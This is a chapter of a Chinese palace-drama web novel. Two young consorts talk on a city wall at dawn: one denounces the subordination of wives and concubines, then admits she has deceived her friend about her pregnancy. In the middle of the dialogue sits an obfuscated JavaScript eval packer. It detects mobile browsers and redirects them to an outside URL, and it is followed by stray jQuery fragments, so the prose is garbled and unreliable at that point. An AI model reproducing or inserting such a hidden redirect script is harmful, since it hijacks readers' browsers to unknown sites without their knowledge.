48. 城墙

作品:《雌鸟

    天边残阳如血,宜妃的整个生产过程算是有惊无险,从发动到母女平安,到底不知不觉间两个多时辰过去。


    承安帝那边也得知喜讯,派卫风扮作的赵延前来传达口谕,兑现昔日诺言晋宜妃为贵妃,只是他本人仍未到场。


    “从前千娇百宠,还差咱们一道过来,如今孩子生了,陛下却不见人影。”卫风走后,梁贵妃淡淡道,她的声音仍旧清冷,话语里对承安帝的鄙夷未加掩饰。


    其余人望向她,均有些不敢置信:这是被芳贵人传染了?


    刚生产完到底虚弱,宜妃看过女儿后就要安寝。


    瑶华殿内的交谈声很快淡了下去,芳贵人与冉美人走出殿外,二人眼睛都有些红。


    主人不便探视,众后妃终于可以自行离开。阿玉与严凤霄缓缓跟在大部队后面,心思都飘至方才的军报上。


    长长的宫道时不时传来几声低语,也都在关心魏齐两国的战事,方才那声“紧急军报”不可避免地牵动起所有人的忧心。


    阿玉比她们知道的多一些,故而担忧更甚。


    回到暖阁,她迫不及待地问严凤霄:“阿凤,我们还能做些什么吗?”


    严凤霄却轻轻摇了摇头:“密道一点消息都未传来,方才传军报那人又是那般,我估摸着齐军可能已经进入临城了。”


    “临城就靠着曲城……那,那你之前说的兵部尚书,可能迎战?”军政上的事实在是阿玉从前未触及过的知识,故而她有好多问题想要问她。


    “能是能。”严凤霄沉默片刻才回应道,眸光凛冽:“可城中军卫的兵符,在陛下手上。”


    “女子不得干政,我们如今只能等李尚书的消息。”望着阿玉心神不宁的模样,严凤霄接着安抚道,眸中闪着意味不明的光。


    女子不得干政,女子不得读圣贤书,女子不得……如此诸多,这是自小就深刻在脑海中的孜孜教条。


    阿玉知道她说得是事实,可她认识的阿凤绝不会认同这样的话。


    “阿凤,你今天到底怎么了?先前在宜妃娘娘那,你也不大对劲……”阿玉还和从前一样拉拉她的袖口,神色恳切。


    严凤霄没有避开她的触碰,轻轻拍了下她的手背,笑道:“只是今日见到宜妃,难免想到自己的将来。好了,今日都累着了,早些用膳早些休息吧。”


    阿玉迟疑地点了点头,仍是不大放心。


    ***


    这一整晚阿玉都睡得不太安宁。


    不知是否是形影不离多日生出的心有灵犀,阿玉迷迷糊糊间骤然睁开双眼,却见身旁空无一人。


    原本属于严凤霄的那侧床榻上残留的余温不多,阿玉当即清醒,就着寝衣下床将暖阁找了个遍,均未看到她的身影。


    坏了,阿玉在心中道。


    耳房中的应绮等人也被惊醒,睡眼朦胧地问阿玉出了何事。


    “太子妃不见了。”阿玉撂下这句尤为惊骇的话,接着安排应绮留下守门,让阿梧去找扮作赵延的卫风,阿慧与她分头找人。


    她匆匆穿戴好衣物,披上斗篷,将头发随意挽了一道便往门外跑,动作迅速得叫还未完全反应过来的应绮瞠目。


    所幸这些天又是跑马又是蹲马步,阿玉跑起来竟不觉得多累。


    她直直奔着一个方向跑,那是太阳即将的方向。没有缘由的,心中仿佛有根绳正牵引着她往那里去。


    穿过熟悉的校场,阿玉来到城墙下,今夜不知怎么回事,城墙下竟没有一名禁卫驻守。


    来不及管这些,她提起裙摆就往阶梯上赶,只因她望见了城墙上那道熟悉的孤影。


    “阿凤,你,你怎么了?”蹭蹭登上数百级台阶,阿玉无暇顾及形象,大喘着粗气问。


    严凤霄披着白日王皇后赠与她的斗篷,背对她紧挨着城墙边往下看。


    阿玉突然有股不好的预感,一时不敢上前,这一霎她脑海中思绪不断翻滚,构想出无数种可能。


    城墙上的风很大,阿玉与严凤霄鬓边的发丝都被吹得凌乱起来。


    严凤霄应也是自己梳的头,发上未经过多修饰,只以一根艳红色的绑带潦草地高竖起马尾。


    破晓之前的天色半明半昧,呈现一种朦胧的苍蓝色。


    听到阿玉唤她,严凤霄转过身,发带随发丝于风中飞扬。她静静地望着阿玉,没有说话。


    “阿凤,这上面风大,我们回去吧!”风声时不时呼啸几句,阿玉的声音也随焦急程度放大。


    严凤霄忽而莞尔,看穿了阿玉先前的想法:“阿玉,刚刚你是不是怕我想不开,要跳下去?”


    “你!你不要开玩笑了!”阿玉眉宇间染上一丝薄怒,总算知道她没那意思,立即大步上前,攥住她的手就要拉她离开。


    然而严凤霄巍然不动,她是练家子,但凡用上三成力,阿玉都不可能拉得动她。


    “你究竟怎么了?”阿玉执拗地仰头看她,盯着她落满晦暗的眼眸想要找寻答案。


    “阿玉,你想不想听我的故事?”似乎在阿玉的目光中败下阵来,又似乎原本就想将所有的所有告知于她,严凤霄喃喃道。


    “有什么事回去说!”阿玉强调。


    严凤霄不动,静静地看着阿玉,仿佛在说:我就要在这里说。


    阿玉不信邪地再拉她,自然还是拉不动。她挫败地叹了口气,却仍坚持不放手。


    “现在这里只有我们二人,是个灭口的好地方。阿玉,一个人来这里,不怕吗?”严凤霄轻飘飘道,还有心思开玩笑。


    “你会吗?”阿玉虽未当真,声音却低落下来:“说实话,你这样的主母,我从前想都不敢想。”


    “做妾的夺走了主君的宠爱,你却一点也不讨厌我,还教我骑马,一直保护我……”灵动的双眼泫然欲泣,阿玉一直未说出口的疑惑也终于问了出声。


    “不安分的妾室人人喊打,你今日折腾这出,是不是讨厌我?”情绪上来,阿玉的话语也难免凌乱。


    “我怎么会讨厌你?”


    又是一阵风声呼啸而过,严凤霄深深地看着她,郑重道:“为人妾室,不是你的错。”


    “你没有选择的权利。”


    她诉说着长久以来萦绕在心间的不满:“为何男子可一妻多妾,女子却不能一夫多侍?”


    “为妻为妾,不过是基于你父家家世,由夫家对此评判出价值罢了,评判标准从来都在男子手里。”


    话落,北风又飘过一声叹息,严凤霄神色悲悯:“由男子所评判出来的高低,为妻如何,为妾又如何?都是夫之下的,对自身没有决定权的,女奴。”


    说到女奴二字时她犹豫了一下,但还是说了。


    看着阿玉愣怔的模样,严凤霄继续道:“就这样,男子用妻妾二字将这些女奴割据开来,令她们陷入内斗,她们只能通过依附、谄媚他们才能生存。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15231120|159671||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “她们抢着生男儿,生出新一轮能够压榨更多女奴的男子们。”


    “为什么要生男儿呢,因为一个姓氏,隔绝了女娃儿立户的权利。你是出嫁女,你生下的是外姓人。”


    “简直荒谬,我能确定我肚子里的是我的血脉,男子能吗?”


    她越说越愤恨:“书生花十月写的申论若被冠他人名姓,可击鼓鸣冤,我花十月九死一生诞下后代,却不能由我赋予姓氏,我冤何处诉?”


    “什么千秋万代,不过是盗取了女子们不断过鬼门关才艰难得到的生产成果。”


    严凤宵眼眶微红,昔日铁石般坚毅强硬的女子落下眼泪。


    “我恨死这个世界了,凭什么,凭什么那胯.下二两肉就决定一切?有的废物男人还不一定有二两……”她声音渐弱,轻唾了声:“他爹的。”


    “我自幼习武,我通兵法、精骑射,十三便能射虎,我比谁差?”


    “我比沈诏差吗?可他有资格上战场,我不能!完了那些男人还要说,女子柔弱无用!”


    她一字一句,字句愈发铿锵。


    临到末了,却又哽咽:“他们不断的用他们造成的果去解释因,话语权在他们手中握着,没人去质疑,一切皆为默认、从来如此,最终鲜有人能跳出这些轮回,于是他们几乎成功了。”


    “为什么是几乎?”阿玉动容道。


    “因为我醒了!”严凤霄握住阿玉的肩膀,执拗地注视着她:“还有你,阿玉,你也快醒了!还有后宫诸位姐妹,世间千千万万的女子,终将一并醒过来!”


    “阿玉,你会不会觉得我很可笑?”将胸腔内积攒的所有愤怒与不平说完,严凤霄垂眸忐忑地看向阿玉,等待她的答案。


    “怎会,其实我也……”阿玉哽咽,心中亦有万千话语与她共鸣。


    “你知道吗,这么多天与你相处着,我是真心想与你做姐妹。”严凤霄回握住阿玉的手,想到话语里的歧义又解释道:“不是妻妾和睦的那种姐妹。”


    “可是越这样,我就越无法面对你。”


    “为什么?”阿玉不解。


    “我骗了你,阿玉。我与裴臻,都骗了你。”严凤霄抚上小腹,一滴泪自眼角滑落。


    “……什么意思?”阿玉似有所觉,目光移至她的腹部,却不敢置信。


    “我们之前见过的,在卫国公府。”她苦涩地笑道。


    心脏急促地跳动,阿玉下意识想要挣脱她的手,语无伦次道:“你,你是?怎么会这样?殿下娶了自己的表嫂?不,不,他是要保护你?”


    严凤霄握紧她欲要逃离的手,看着她告状:“你不知道他有多疯,甚至还想要这个孩子,做世子。”


    她终于将埋藏在心底的秘密全盘托出,手松了松。如此欺瞒,她不求阿玉能原谅。


    阿玉却放弃抽开手的念头,自嘲道:“他是疯的,我怎么会不知道。”


    “阿凤,我不怪你。”阿玉的哭腔愈发浓重,她抱了抱她:“你只比我长一岁,未婚夫君忽然离世,你又有了身孕,你当时一定很害怕吧?”


    “我怎么会怪你呢。”阿玉没有问严凤霄为何未成婚就有了身孕,只重复了一遍原谅,她拍拍严凤霄的背脊,话音坚定:“阿凤,是你让我生出了正视自己的勇气。”


    说完,前方迎来旭日东升,突破云层阻隔的炽烈天光与这两名堪堪十七八岁的女孩儿乍然相逢。